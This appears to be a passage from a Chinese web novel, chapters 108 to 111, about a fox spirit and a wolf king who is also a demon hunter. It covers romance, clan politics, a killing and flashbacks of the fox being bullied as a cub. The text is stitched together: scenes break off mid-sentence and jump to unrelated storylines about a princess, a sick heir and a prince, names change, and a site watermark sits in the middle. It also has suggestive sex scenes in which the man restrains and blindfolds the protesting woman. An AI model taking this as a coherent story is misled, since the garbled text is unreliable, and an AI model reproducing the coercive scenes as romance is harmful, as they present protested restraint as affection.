显然,君泽琛被他们列入叛徒行列,在发现君泽琛能控火伤妖,更不会心慈手软。 妖族所修只有妖气,而人族除了灵气,还要靠五行属性的灵根来判断天赋。 单属性灵根修炼天赋高,多属性天赋低,不被人看好。 简单来说,妖族只会运用种族技能,掌握不住五行灵力,君泽琛能控火下场可想而知,他们不想他活下去危害妖族。 君泽琛已经不记得当初是怎么熬过来的了,更不知晓为何自己能活下来。 当他再次睁眼一切都变了,身上的疼痛不知为何稍微褪去,他眯了眯眼睛,叫了一声:“哼唧~” 似乎很久很久之前他也这么舒坦过,只是,那是什么时候呢? 大概太久,不记得了。 听说妖死后会出现幻觉,幻想着此生求之不得的东西。 他是死了吗? 正在君泽琛茫然之际,一道声音猝不及防传入他的脑海中。 【哎呦叫得真好听!再叫一声听听。】 君泽峥:“?” 耳边是布料摩挲和呼呼风声,余光是倒退的景色,小兽彻底蒙了。 她无辜地眨了眨眼睛,衔着浮生镜撒腿就跑,呲溜一下窜老远了,徒留几根狐毛洋洋洒洒飘散在空气中,似是对大祭司的无声嘲笑。 奇耻大辱! “孽畜!好大的胆子,还我浮生镜!” 大祭司目眦欲裂,却在这时背脊倏然一痛,一只手臂从她身后贯穿至身前,她呕出一口血,瞪着眼睛,僵硬地回头。 男人的表情隐藏在阴暗里,声音犹如夜间魔魅,阴风阵阵,“不要把你的背后,留给敌人。” 不然下场,只有一个字——死。 大祭司的皮肤以肉眼可见地褶皱衰老,她的眼睛充满红血丝,嘴角的鲜血越流越多,她颤着唇,无声地喃喃:不…… 不该是这样的,她不能死……她还没有成神,她是要成神的。 红光之中,她的身影轰然倒地,阵法的光芒渐渐暗淡下来,猩红的血雾却尽数渗入男人的身体。 血一滴一滴从指尖滴落,原本苍绿的瞳仁被猩红色所取代。 第 108 章 第 108 章 哒哒哒—— 黑暗的夜里的白色影子格外醒目,白色的小狐狸恨不得将四只爪子轮换成风火轮,闷头跑出皇宫,在大街小巷里左一圈右一圈,转得不分东南西北。 她想,这样那只坏狐狸就追不上她了吧。 胡淼淼虽然很担心君泽琛,但是她知道她的能力有限,两只老妖怪的对决,她这只小妖怪掺和只有拖后腿的份儿。 她极尽所能帮君泽琛分散点任务难度,这不,没有浮生镜帮忙,老狐狸肯定不是君泽琛的对手。 哐当—— 金灿灿的小镜子被甩在地上,狐狸一只爪子踩上去,不解气地踹两脚。 “认贼作娘!” “谁是你的主人不知道吗?” 四目相对,空气突然寂静且尴尬。 小狐狸:“!!!” 君泽琛:“???” 他呼吸一窒,沉默了两秒后,试探性地将小狐狸往脸边挪了挪。 狐狸得偿所愿,邦邦给了他两下。 她的那点小力道都不够给君泽琛挠痒痒的,反而在拍打的时候,能感受到软软的小肉垫软乎乎的,毛毛拂过面颊,痒痒的,心湖都像是被狐毛划过,忍不住泛起一阵阵涟漪。 君泽琛眸色微深,看着她的目光,像是透过小狐狸,看见了那张明媚漂亮的姑娘。 他不自觉嗓子哑了。 “够了吗,不够再打两下?” 胡淼淼在他的注视下有些麻爪,隐约觉得哪里不对劲儿,澄澈的蓝色眼瞳狐疑地瞅他两眼。 君泽琛的表情很奇怪,被狐狸打了,不仅不生气,反而…… 胡淼淼打了个激灵,嗷嗷了两声,警告捉妖师以后不许打狐,不然她会打回来,狐怂势不怂地晃荡着毛绒绒的狐毛掸子尾巴,迈着六亲不认的小碎步,雄赳赳气昂昂地走了。 徒留君泽琛伫立在原地许久。“嘬嘬?” “叫狗呢?” 君泽琛没好气地应了一声,“不困了?” “困啊!”胡淼淼耷拉着眼皮,狐狸耳朵不自觉冒出来,和它主人一样,疲倦地抿成飞机耳,毛绒绒的。 君泽琛用手拨弄一下,她的耳朵一抖,勉强打起精神,“嘬嘬,我那日摸到的是什么?” 君泽琛:“……”谎话连篇,他怎么会惯这么一只讨人厌的麻烦精。 狼王超级随意将那撮猫毛藏在窗边桌子上面的小匣子里面。 那是阳光最能照到的地方。 哪怕寒冷的冬天到来,依旧暖暖的。 胡淼淼晃了晃脑袋,甩开男人的手,疑惑不解,“我们来太子府做什么?” 她思考,人类好像是帝王说的算,然后是太子,排行老二。 这些都是她在书上看见的,人类曾经也和妖族一样是部落出身,后来争夺地盘,建立城池,再建立国家,有能力的人被封为帝王,又称为国君。 细细算来,就是妖界的妖王啦! 狐狸脑袋冒出三个感叹号:“以后我们要是有崽了,是不是也是太子。” 他的大手按住她的眼皮,强行让她闭眼,不轻不淡地吐出两个字,“睡觉。” “是不是狼尾巴?你让我再摸一下呗?感觉有点小哦……” 眼睛隔住了,嘴挡不住,小狐狸那张小嘴还想叭叭,君泽琛干脆低下头,用薄唇堵住。 月光流淌,床幔垂落,双影交叠在一起,许久都不曾停歇。 美人的双眼被不知从哪撕下来的一层纱遮挡,手也被禁锢住,她呜呜抗议,想告诉他不能这样欺负狐。 男人恍若未闻,依旧我行我素,他可以怎么对她都行,唯独不让她去触碰他。 胡淼淼支支吾吾抗议,却只会被弄得更狠。 不过时间比上次要少,只用了一晚,第二天一早,男人再度消失,搞得胡淼淼有一种被狼渣了的错觉。 好气哦。此时胡淼淼敏——感得不行,稍微靠近便一哆嗦,可怜兮兮地咬着下唇,“能…好夫君……别欺负我了。” 此时的君泽琛在狐眼中就是个大坏蛋,但她不敢吱声,因为君泽琛什么都听她的,唯独这个……脱缰的野狼不能骂,因为越骂他会越…… 狐真没招,只能可怜求饶,装惨,说些好听的话撒撒娇。 果然,被这么一叫,君泽琛温柔下来,薄唇划过她的耳朵,来到她的脸颊,怜爱地吻了吻,然后…… “乖,我不会太过分。” 是的,他这狼说到做到,说不过分就不过分,往日能吃一个月的餐,这次就吃了一夜,并觉得自己受了屈,让狐对他好点,他都没尽兴。 胡淼淼昏睡之前,都在心里骂骂咧咧。 这一次没做什么乱七八糟的梦,梦里全是她吊打小狼。 把小狼拴起来,指着狼的鼻子,“还敢不敢欺负我了?” 小狼的鼻子被她戳变形,角色和她互换,委委屈屈的耷拉着耳朵,可怜兮兮说不敢,以后再也不欺负她。 狐祖宗还不满意,让小狼表演八百个后空翻,少一个都不行。 这一夜,她在数后空翻中度过。 但梦终究是要醒的,空气中传来香香的味道,勾起了她的食欲,她吸吸鼻子,翻了个身,嘶哈了一声,委屈地捂着屁股。 不确定地钻进被子看一眼。 果然,“你等回家的”的下场就是被“打”肿! 也不知道君泽琛从哪学的花样,总感觉一晚上比一个月都累,都把她当面团揉了,能不肿吗? 她在心里暗暗发誓,一定要狠狠、狠狠地冷落他一个月,然后借机找方法惩罚他,让他知道狐狸的厉害。 “醒了?” 察觉到那边的动静,君泽琛将刚烤的鱼挑好刺,放在盘里精心摆放成漂亮的形状,再次用清洁术给狐狸做好清理,将烤鱼肉递过去。 “需要我喂你吗?” 现在是一只气鼓鼓的狐,胡淼淼绝不会轻易原谅他,所以狐美人板着一张漂亮的脸蛋,抬头,张嘴,“啊!” 没错,生气第一步,就是狠狠压榨男人的价值。 君泽琛坐在她身边,小心翼翼投喂她,期间想凑过去亲亲脸蛋,被她高冷地躲开,表示不给亲。 他递上鱼肉,她再次凑过去吃,吃完了再次躲避,不给亲。 如此反复,君泽琛看出这是她发脾气的方式,很是配合地说:“对不起。” 胡淼淼眼尾一挑,浅色瞳仁琉璃般漂亮,“错哪了?” “没让你尽兴。” 胡淼淼:“???” 男人用最严肃的表情陈述最浪荡的话,“放心,以后我会更加努力的,保证让你□□……” 胡淼淼恼:“闭嘴!” 再这样,狐要闹了。 狐真的会闹。 黑夜中,辱骂声越来越难听,按住梁昌荣的下人蹙眉,正要把人拖走。 然而下一秒,声音戛然而止。 “砰”的一声,夜间只剩下蝉鸣。 众人一阵错愕,呆若木鸡地看着他们文弱,善良的大小姐,一脚狠狠踩在人的脑袋上,唇角还挂着危险的浅笑。 “你说什么?我没听见,大点声。” 阿冤甚至剥了莲子,放在灶台上让张大勺动手。 张大勺夹在中间一个头两个大,想破脑袋也想不明白,不就是做个饭的事儿,怎么把事情闹得那么复杂? 他摇头,“公子,您最近不是特意学的厨艺想做给小姐吃吗?” 君泽琛瞥一眼剥莲子的某人,叹息,“可是她好像不大喜欢……” “谁说的,我喜欢极了。”胡淼淼接话,开始渣言渣语,“你做的我都喜欢。” 君泽琛没说话,可那垮着的狐狸批脸,哀怨的眼神明晃晃的控诉胡淼淼偷吃行为。 等狼再次晚上摸回来,一掀被子,躺着的是她的原形。 小狐狸懒懒地掀了掀眼皮,低头舔爪子,把话放这。 “你不告诉我那天的是什么,以后就别想碰我。” 君泽琛:“我可以……”狐族,小狐狸正在练习捕猎。 “你如果敢让我强制变回人形……”狐狸打断他的话,恶狠狠威胁,“我就把你手指咬断。” 红溯魇有急事找狼王,回来正好看见他在岸上发呆,赶紧道:“王,有苏族有挺多狐狸逃了,传递给其他狐族,怕是用不了几日,就会赶来支援。” 君泽琛的眼神冷了下来,“逃了?” 这确实是红溯魇没处理好。 狐族动荡明显,君泽琛派狼族包围有苏和青丘,只要他一声令下,就可以直接攻进狐族。 只是有些事情他还没调查清楚,而且狐族狡猾,需要有万全准备。 红溯魇说,狐族有密道,就是从密道逃出去的,现在密道已经堵死了,可得知的已经晚了,还是有大量狐狸逃出。 另外,青丘的少君也失踪了。 红溯魇说:“王,据我所知,小狐狸就是因为勾引那个少君,破坏两族联姻,才被狐族盯上的,此次青丘少君逃跑,必生事端。” 红溯魇办事不力,原以为会被狼王骂废物,谁知狼王却冷笑:“勾引他?他有什么本事让小狐狸勾引他?” “王……”红溯魇欲言又止,“其实我想说,这都不是重点,重点是,接下来要如何做?” 君泽琛这才骂了他一句废物。 红溯魇舒坦了,这才对吗,一日没被骂 ,还以为王被夺舍了。 君泽琛命令他继续让狼族盯着狐族,并未勘察狐族是否还有其他密道,另外,他会去亲自活捉青丘少君。 狼王提及青丘少君之时,神色阴冷,咬牙切齿,听得红溯魇直哆嗦。 他甚至听到了狼王冷哼,“我倒是要看看,我有几分像他。” 红溯魇没听懂,但尊重狼王意愿 。 换做往日,狼根本不会等着狐去主动找他,而是先一步跨步来到她身边,在她抬爪的时候,亲自弯腰捏着她的小爪子,将她抱进怀中。 而这一次,他迟到了许久,才迟疑地蹲下来,将那个可可爱爱的白山竹爪捏在手指中。 不知为何,胡淼淼的心头升起某种不安,嘬嘬的状态很不对劲儿,就像是换了一个人一样。 可是,她不会认错,这就是她的狼啊。 她欲要张口询问,却见男人蹲着,弯下笔直的腰,那张俊脸在眼前放大,眼底猩红恐怖,似要将她生吞活剥。 “嘬嘬!”胡淼淼想要挣扎,然而,爪子被男人牢牢爪子手里,紧接着令狐神奇的事情发生了。 他竟然……低头狠狠咬住了她的爪垫。 很大口! 大口吸的那种! 第 109 章 第 109 章 云雾退散,月光明亮,人类的小巷子明暗交接,巨大的影子张开“血盆大口”,正对一只弱小的小生灵做道德沦丧之事。 狐狸的爪爪暖乎乎糯叽叽,肉垫咬下去的口感Q弹,能吞一大口。 含在嘴里但感觉还是不够,想要更多。 男人的表情处于阴影之中,眼睛猩红,充满了侵略性,似挣脱牢笼的猛兽,危机感奔涌而来,随时能将狐狸的爪子咬断。 然而,他并没有这么做,而是犹如品尝软糯糕点,一点点含在两片薄唇之间,眉眼间有几分……欲求不满? 不是,狐狸爪子都快被他吸报废了,他还有什么不满足的? 做狼,不要这么不知足。 胡淼淼突然觉得,君泽琛像是那种鸡娃的家长。 她没有父母管教,不知是什么样的,但是她之前没吃过肉,还没见过别人吃剩下的骨头棒吗? 隔壁火狐的家长,就是这样的 ,不允许孩子做这个不允许孩子做那个,除了纵容小火狐打小狐狸,其他的管教很严。 印象最深刻的是,不允许小火狐晚上外出,并吓唬小火狐说,晚上外面有狼族,被狼族抓去,剥了狐狸皮,把狐狸的肉一片一片割下来,再拆骨头煲汤,为了保持狐狸食材新鲜,狐狸在被割肉的过程都是活着的。 那天晚上饥肠辘辘、出来觅食的胡淼淼恰巧看见大狐狸抓小火狐回家,听到了这句恐吓的话语。 当天晚上,胡淼淼不再觅食了,而是顶着呱呱叫的肚子,挖了个坑钻了进去,生怕狼妖把她抓去。 狐的日子已经很难了,别的狐狸都有长辈庇佑,不会被狼妖抓走,就算被抓走也有长辈来救。 而小狐狸什么都没有,估计狐族都恨不得她早点被狼族抓走呢。空气寂静良久,传来男人的叹息声,“淼淼,你何苦这么逼我。” “是你总瞒着我。” 胡淼淼委屈了。 她眼尾刷地一下红了。 “我明明就摸到了,你实话告诉我,那是不是你的尾巴?它为什么小了?” “没有。”男人依旧倔强,给她把被子盖回去,转身就想走。 “你走,今天晚上你走出这道门就别回来,我不要你了。” 她喊得超大声,拿软枕砸他,君泽琛的背影一顿,硬气地抱着枕头搬了个凳子一屁股坐在门口,浑身上下散发着不爽的气息,愣是在门口坐了一晚上,第二天天亮才离开。 一狼一狐无声较劲,谁都不服输。 附近的狼族都明显地感知到气氛不对劲儿,整个狼族上空似乎有一大片乌云笼罩,黑压压得引人心悸。 他们不明所以,怎么了这是? 内部消息都传言,王好几日都没回寝殿了。 他纷纷猜测:胡淼淼终于有了反应,她蹬了蹬腿,示意他放开她,等他一松手,她迈着顺拐的四肢,丧尸的步伐挪回床上,僵硬地用爪子勾住被子盖在自己身上,缓缓躺平,闭眼睛的模样十分安详。 君泽琛勾了勾唇瓣,没有再看那本书,顺手收好,然后爬上床,长臂一勾狐狸抱满怀,空虚的心在这一刻被填满。 “睡吧,不弄你。” 黑暗中,小狐狸悄悄睁开一只眼睛,反复确认他没那方面意向,这才松一口气,继续安详的躺着。 别的夫妻怎样胡淼淼不知道,但是他们夫妻的日子似乎不大对,毕竟他们不愁吃不愁穿 ,在一起日子恢复平静,他去打猎,狐狸在家等着投喂,偶尔会出去晒晒太阳,吹吹毛,饶是如此,妖力也不断地往上窜,简直是喝凉水都在涨修为。 后来她才知道,是君泽琛的元阳,在妖界想要提升实力有很多种方法,其中就包括双修之法。 曾经多少女妖想要得到,还没摸到他的衣角就被端了。 胡淼淼听到的第一反应就是:“那你不得被我榨干?” 之前出现过这种问题,只有傻狐狸以为她能榨干一只五百岁的狼王。 他捏了一把她的脸,“欢迎来榨!” 那算了,每次狼都和采阴补阳似的,反而狐浑身酸痛,修为方面还是顺其自然吧。 可惜,狐狸想躺平现实不允许。 梦里的那个声音开始鸡娃,不断地摧残她的神经,她的脑子嗡嗡的,急切地找君泽琛寻求帮助。 君泽琛闻言,还以为她的神魂有暗伤没修复好,提议再补一次神魂,上次的那种感觉试过一次这辈子都不会忘记,可是总被脑子里的声音骚扰,胡淼淼不胜其烦,一咬牙,主动用额头去贴蹭他,“进来吧。” 她两只手紧张地抓着他胸前的衣襟,红唇紧抿成一条直线,尖锐的小犬齿可怜兮兮地抵在唇角两侧,明明紧张得要命却乖乖地闭上眼睛等着他。 正事要紧,君泽琛没再闹她,只是进意识海的时候把她的神魂惊了一下,便开始霸道地巡视领土。 她的意识海此次春暖花香,暖和的阳光照耀每一处角落,驱散一切昏暗,巨石上的灵魂懒洋洋地晒太阳,在狼进来的时候慌乱地上窜下跳。 狼调整好大小,一爪子将小狐狸按住,开始上上下下舔毛,将小狐狸上下检查,没有发现弊端 。 他从胡淼淼意识海中退出来,睁开眼便见胡淼淼不知何时软倒在他怀里,琉璃般的浅蓝色的瞳仁有些溃散,红唇微张一开一合喘息。 他薄唇抿动,没忍住,低头啄了一口,“你的神魂没问题,可能是日有所思夜有所梦,不要想太多。” 胡淼淼心不在焉地点了点头。 夜里,入睡,她依旧在做梦。 “胡淼淼 ,找回浮生镜,不要让那人祸乱苍生。” “你到底是谁,在我梦里做什么?”胡淼淼忍无可忍,明知道不会有回答,还是要问。 未曾想,对方竟然真的回答了。谁取的破名字。 她终于松开了倒霉狼,倒霉狼如获大赦,几乎是撒手没。 只不过答非所问,“你想成神吗?吾可助你成神。”“淼淼,你要给我们做主啊!” “会不会是那只狐狸失宠了?我就说,容颜枯骨,以美貌视人早晚会被腻烦。” “不,是我们的王失宠了。” 其中一只狼摇头晃脑,“王被赶出家门,现在半步都不敢进去,那只狐狸现在嚣张得很,你瞧瞧,这不又出来炸街了?” 不远处,一只狐狸身边跟着两个保镖。鸡大妖骄傲地挺了挺胸脯,“自带的日落山土特产。” 一只鸡,和一个稀奇古怪看不出是什么力量的东西。 她就这样堂而皇之翘着大尾巴,迈着小碎步,横着走。 没错,就是横着走,S弯,顺拐,四肢小爪子怎么舒坦怎么来,怎么嚣张怎么来。 狐是喜欢热闹的,只不过在狐族过得不好,不敢奢求其他的,狼族就不一样了,他们不敢欺负狐,所以胡淼淼开始到处找狼了。 她随意进了一家店,后腿用力一蹬,跳上了桌子。 正在闲聊的两只狼:“……” 他们互看一眼:是那位? 吴管家皱吧着脸,唉声叹气。 三王爷喂! 不就是他们家王爷抢亲那位,王妃的前任吗? 皇上又搞什么幺蛾子…… 冷不丁听到这个名字,胡淼淼只是收拾了一下东西,放在一旁,看不出任何变化,反倒是君泽琛下意识看了她一眼。 见她没有不开心,眉宇松了松,对吴管家道:“本王知道了,下去了。” 等吴管家退下后,君泽琛突然坐直了身体,拉过胡淼淼。 胡淼淼体寒,一年四季手指冰凉,冷不丁被一双温热的大手包围,她睫毛一颤,还不等做什么,就听男人问:“你还在乎他吗?” 不知是不是错觉,胡淼淼总感觉他的语气中小心翼翼,仿佛在担心什么…… 怎么可能,琛王这样的男人,怎么可能有这种情绪? 胡淼淼淼望着那双给人十分温暖的手,抿嘴摇头:“我现在是琛王妃。” 又怎么会想其他人?君泽琛:“?”倒不如什么? 他心里的火气上来了,扣住石头栅栏的手指竟硬生生镶嵌进去几分,只能对方亲近自己之时扭断她脖子。 突然他动作一顿,耳边听到一阵阵脚步声,正朝着这边到来。 不能杀…… 要杀也不是在皇宫。 君泽琛中了药,脑子混沌,仅存的理智处于朦胧之中,在他犹豫之际突然感觉臀部一痛,整个人翻身下坠,在掉下去的一刹那,他听到…… “走你~” 嗯,是那位。 整个狼族都知道狼族出现一只狐狸,如果碰见那就躲远点,她当你的面掉了一根毛,你就等死吧。 两只狼大惊失色,当场变成原形夹着尾巴跑。 胡淼淼:“?” 哎?别走啊,狐找你打听个事儿。 可惜两只狼已经远了。 山鬼:“这都第几次了?” 鸡精得意:“依我看,狼族也不过如此,胆小如鼠,问个问题都怕成这样。” 他们每走找一只狼,那只狼都和碰见天敌似的不愿意搭理他们。 虽然胡淼淼是他们的天敌,但狐族是手下败将,真不至于。 胡淼淼唉声叹气,在桌子上盘着小爪子,扭头准备向店里讨一杯水,谁知那只狼火速挂起了打烊的牌子,表示他们要关门了。 胡淼淼现在长大了,有自己的狐狸洞,但是还没有家人。 此时此刻,此情此景,她盯着捉妖师严肃的脸,越看越觉得他像那些狐族长辈教导自家小狐狸,家人可以有很多,不一定只有成婚才是家人吧? 胡淼淼一句话不自觉脱口而出:“嗷呜!”嘬嘬嘬,要不,你当我爹吧。 君泽琛:“……” 君泽琛脸黑了。 小狐狸挨揍了。 她被捉妖师抓住了后腿,按在膝盖上,照着屁股啪啪两下。 曾经,他害怕她因为他是狼而抛弃他,现在,依旧如此。 在强大的存在也会缺乏安全感。 男人就像是木桩子似杵在门口,放冷气。 胡淼淼抱着书,路过时候撞他一下。 “不想被嫌弃就让一让,挡道了。” 她的力道不大,男人却本能地后退一步,挪了挪脚步把门口让出来,在擦肩而过之时一把扣住她的手腕,冷不丁来一句,“你识字吗?” 胡淼淼:“!!!” 她美眸怒瞪:“瞧不起谁呢!我是文化狐!” 第 110 章 第 110 章 文化狐很有文化,并开启了文化的旅程,整日捧着那几本破书对狼爱答不理,并且很敷衍。 敷衍到什么程度? 只给君泽琛一条尾巴让他挼,他多说一个字都是错的,会遭到小狐狸的怒视。 她说:“五百岁的狼了,就不能懂点事,我看书是为了谁啊,还不是为了早点治好你的坏毛病!” 狼:“你果然还是嫌弃我年龄大。” 然后遭到狐狸明目张胆的一个嫌弃的小眼神,仿佛在说,这还用问吗? 接下来的几天 ,狐狸的伙食被克扣了。 人形的时候,男人只做一条鱼,并且只让她吃一半,美名其曰,他做的鱼,吃半条不过分吧? 确实不过分 ,胡淼淼只能忍痛让给他半条。 然后变成小狐狸,去找他蹭吃的。 而这一次,男人只是给了她半个苹果,说有助消化,另外半个被男人吃了。 小狐狸被气得当场炸毛,“嗷嗷嗷!!”你怎么这样,苹果只给半个?! 捉妖师十分淡定地摸了一把小狐狸的脑袋,手动顺毛。 “半个,挺多的。” 尤其是最后一句话,如果时间能够重来,她真的不敢踹,反派的屁屁谁敢踹啊。 生活不易,炮灰叹气:“来人,洗漱!” 这些时日,她早就可以面对众人的服侍脸不红心不跳了,甚至有一丢丢享受。 没办法,咸鱼一样的生活,衣来张手,饭来张口神马的太爽了。 伺候完这位主子,翠花欲言又止:“公主……” “怎么了?”胡淼淼吃完饭,优雅地拿出帕子擦擦嘴,又漱了漱口,用眼神示意她说。 “君世子昨日从宫中回去,今早生了一场大病,宫中请去大半太医,说是世子自幼身体病弱,入水没来得及医治,受了风寒,还可能留下其他旧疾!” “噗~” 胡淼淼一口漱口水差点没咽下去,好在及时抢救,才没太狼狈。 她一双美眸瞪得老大,犹如猫儿般圆圆的,还是一只踩到猫尾巴的猫。 “病了?” 靠靠靠。 说起来这些锅昨日都甩在她身上,这病了岂不还是她的锅? 忽而胡淼淼捂住脑袋,一脸痛苦面具,吓坏了众人。 “公主,您这是怎么了?” “可是旧疾发作?太医,快叫太医,公主旧疾发作了!” “公主您先会寝殿休息,太医马上来。” 胡淼淼瘫在座位上一动不动,闻言非常丧气道:“不用,你去叫仵作,定要让他完美地保存好本宫的头盖骨。” 众人:“???” 见他们一脸似懂非懂,胡淼淼放下手长叹一口气站起来。 “走吧,本宫决定先去抢救一下。” 抢救一下自己,再看看对方病得重不重,不严重能凑合活就甩一下锅,严重就偷偷嘎巴一下弄死了事。 她可真是个求生欲极强的机灵鬼。 太过分了。 小狐狸背对着他坐,爱答不理的状态。 最后,捉妖师失去了每天准时准点等待他投喂的小狐狸,成熟的小狐狸学会了自力更生,决定自己下水抓鱼,烤来吃。 自古以来,狐族属火,厌水。 而胡淼淼和其他狐狸是相反的,她喜水。 到饭点了,君泽琛没有等到小狐狸,正好逮住在水里抓鱼的她。 小狐狸在水里狗爬,白色的毛毛漂浮在水面上,随着水波波动,一双蓝汪汪的眼睛如水一样透彻,正炯炯有神地盯着水底,一个弹跳猛扎,溅起一阵水花。 但,鱼空空的。她不知道,重新开始的除了他们之间的“感情”,还有她幼时生命,也从小小的种子逐渐生根发芽。 苏山灵所用的时空之力不稳定,过去的时间仿佛是一个片段一个片段重组的。 狐族的君泽琛也不知道未来世界的傻狐狸跟随他来到这个世界,并且找到十几年前的他傻傻的谈感情。 他正细心地呵护幼年期的爱人成长。 也见证了历史的残酷。 明知她在狐族过得不好,当亲眼看见的时候还是说不出的压抑,可恨他的力量受限,并不能出现在胡淼淼以外的人面前。 片段一晃就跳到胡淼淼诞生的三个月后。 小小的狐狸已经褪去了乳毛,结果刚长没多久就被另一群可恶的幼崽拔光。 这是她第一次被欺负,那些幼崽找到了发泄口,从此尝到甜头稍微有点不顺就来啃咬狐狸,还成群结队的将狐狸崽子按在地上,牙齿撕咬她的皮肉,被狐狸珍惜的狐毛洋洋洒洒飘散在半空中,尘埃般落地。 天不作美,再次下起小雨。 其他狐狸一见下雨纷纷回家躲雨,而受伤的狐狸在雨天里顶着雨捡狐毛。 不知是泪水还是雨水打湿了她的脸,她试图将满身狐毛拼凑回去,然而那伤痕累累的身躯早就容不下狐毛,破碎的镜子不可修复,掉落的狐毛不可插回。 没有了其他狐族在场,限制解除,奇怪的绿树再次遮挡住小小的狐狸,试图帮她遮风挡雨。 被淋湿的毛黏在身上,她打着哆嗦,回眸看那棵树。 这棵树很奇怪,他如影随形,却总是在有其他生物时消失不见。 她认识这棵树,她也记得,狐生第一口活气,是它给的。 往日她都趴着树下休息,受苦受累都找依偎在树身边,似乎能寻找一点安慰,而这一次,她低头,看着自己没有狐毛充满狰狞伤口的身躯,就像是田间没长毛的老鼠丑陋不堪,她突然有些接受不了现在的自己,更不想让这棵树看见她。 因为她隐约能感觉到,树……在哭。 年幼的狐狸不知自己做错了什么要经历这一遭,她眼底酸涩,甩掉眼里的水珠,没有去找绿树诉苦而是毫不犹豫冲了出去,消失在雨中。 君泽琛眼睁睁看着,正要追上去,周围的景象再次如同镜子一样破碎,场景发生变换。 这里的小狐狸大了一圈,她的狐毛长回来一些,不过并不柔顺,和狗啃的似的,有的地方浓密有的地方则很稀疏,能看见里面肉粉色的疤痕。 她躲在草丛里甩尾巴,小心翼翼透过草丛,看着远处玩耍的狐狸。 那些狐狸似乎受了诅咒,只要在她面前就会凶神恶煞,恨不得将她除之而后快。 而没有她的时候,狐狸们拥有幼崽的天性,打闹玩耍,亦如此时他们正在抢草球,嘴里喊着朋友的名字嚷嚷着传过来,又在抢球的过程中,彼此撞在一起,滚了好几圈哈哈大笑。 这幅画面,小狐狸躲在草丛里看了许久,她的爪子不自觉踏前一步,眼里有渴望又有恐惧。 肉垫不自觉踩在树枝上,发出咔嚓的一声,她如惊弓之鸟,炸着毛迅速逃走。 刻骨铭心的痛,终究还是压下了那年幼的童真。 她逃窜的背影仓皇又落寞。 小狐狸害怕那些魔鬼追过来,疯狂地奔跑在山涧,想要甩开所有的不开心,也幻想着自己追着一个草球,和那些狐狸抢着玩。 直到一个黄褐色的蝴蝶,煽动着翅膀,飞在她眼前,她终于停下脚步,歪了歪头紧盯着那个小小的生命,隐约从上面察觉到熟悉的气息,在蝴蝶的注视下,她眨了眨眼眸站着没动。 生怕惊扰到比自己更弱小的蝴蝶。 过了一会,那蝴蝶在她的耳朵上停留,她忍着抖动耳朵的痒意,小小地嗷呜一声:“能让我扑一下吗?” “就一下。”她的声音很虚,夹杂着几不可查的期许。 蝴蝶颤抖着翅膀,离开她的耳朵,在她面前飞了一圈又绕回来。 她眼睛一亮,立即扑了过去。 鱼儿们到处逃窜,这也就罢了,还有两只似乎察觉到小狐狸没有威胁,还嚣张地在狐狸身边摇头摆尾。 小狐狸被惹怒了,又是一顿狗刨,盯着那两条鱼穷追不舍。 水面上便能看见一只小狐狸爪子轮换得飞快,狐在前面游,狐毛在后面飘。 终于,费尽九牛二虎之力,小狐狸叼着鱼上岸了。 一上岸,所有的毛湿漉漉的,露出原本的体型。 其实狐狸没有表面上看起来那么圆润,她曾经营养不良,并非一朝一夕能养回来的,就如同此时,滴水的毛发贴在小狐狸身上,暴露了小狐狸瘦小的体型,比以前胖了,但,依旧不能和正常狐狸比较。 君泽琛看得直蹙眉,还是得投喂,但,还不能让狐狸吃撑。 胡淼淼感到有个目光注视自己,一抬头,看见了他了,嘴里还在挣扎的鱼啪嗒一下掉在地上。 她啪叽一下趴在鱼身上,“吱!”你什么都没看见! 偷吃被发现了,小狐狸很是心虚,恨不得当场把那条鱼毁尸灭迹。 君泽琛没有说话,而是拿出一块帕子,冲她招招手,“过来。” 胡淼淼没动,趴在鱼身上稳如狗。 君泽琛气笑了。 “你是自己过来,还是我把你抓过来 。” 捉妖师抓妖怪的本领,狐是领教过的,她吸了吸鼻子,垂头丧气离开了深爱的鱼,仿佛君泽琛是拆散她和鱼爱情的法海。 君泽琛把狐狸抱回怀里,用帕子裹住,轻轻揉弄,小声呵斥:“我又不是不讲道理,你自己抓的鱼,我还能和你抢不成?” 胡淼淼耷拉着耳朵,看样子有些委屈。 男人没好气道:“抬爪,一会给你烤鱼。” 小狐狸抬起爪子,让他给擦爪子,瓮声瓮气:“嘤?”想吃酸甜的。 君泽琛故意说:“行,等会摘几个果子,再烤鱼。” 胡淼淼:“……” 最终,胡淼淼还是得偿所愿吃到了糖醋鱼,只不过吃完了,君泽琛让她多运动,有助于消化。 然后就压迫狐狸在林间酷跑,晚上才放回家。 那一晚,胡淼淼睡得贼香,倒头就睡。 第二天,再次被男人抓起来投喂,运动,如此反复,胡淼淼终于忍无可忍,“嗷呜?”你到底想干什么? “吃多了会肚子疼。” 当天晚上狐狸狗狗祟祟去蹭觉,刚贴上男人的手臂,男人突然翻了个身,背对着她。 小狐狸疑惑地眨了眨眼睛,默默挪了挪,贴上了他的后背,打算趴好。 谁贴了个空,男人睡着睡着浮空了。 胡淼淼吓得一蹦三尺高,迅速窜上床,一头扎进被子里,屁股后的尾巴露在被子外面,凉飕飕的,下一秒,被子里出现一个小白爪,摸索半天,偷偷把尾巴勾回去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第111章【完结】 第111章 第 111 章 狐狸失眠了。 连续好几日,她顶着黑眼圈哀怨地死亡凝视某只狼。 狼竟然一点都不心疼,还对她冷嘲热讽,“你知道你现在像什么吗?” 胡淼淼:“?” 她头顶的呆毛缓缓打出一个问号,疑惑不解:“像什么?” “在北岛有一种生物,似熊,性情却温和,通体白色,四肢和眼睛却是黑色。” 胡淼淼:“!!!” 听不懂,但她敢肯定狼一定在揶揄她。 她气咻咻炸毛,表示他惹到毛绒绒了。 君泽琛又开始给她顺毛,“其实那种生物也挺可爱的,它如果没有黑眼圈会很丑,你就不一样,你有没有黑眼圈都挺可爱。” 小狐狸一秒顺毛,乖乖巧巧地贴过去,用尾巴蹭他的手背,“那今天晚上不分床睡了吧。” 狐睡不着。 大晚上还做噩梦了。 她告状:“我昨天晚上梦见某个狐神自作主张把位置让给我了,然后我绝情绝爱,忘记你了,我在天上飞,你在地上跑……” 君泽琛神色一凛,“然后呢?” “然后……冷醒了。” 君泽琛精神一瞬,团成一个小黑球,盘在狐狸脑袋上,被抽老实了。 一狼一狐僵直许久,胡淼淼忍不住去浮生镜内找狐神问到底怎么回事。 狐神已经被小狐狸磨出小情绪了,但是身为神,就应该包容一切,她冷漠地给小狐狸用浮生镜内的碎片给狐狸播放小电影。 是她离开之后的一幕,胡淼淼看见老狐狸死后,阵法的力量进了君泽琛体内。 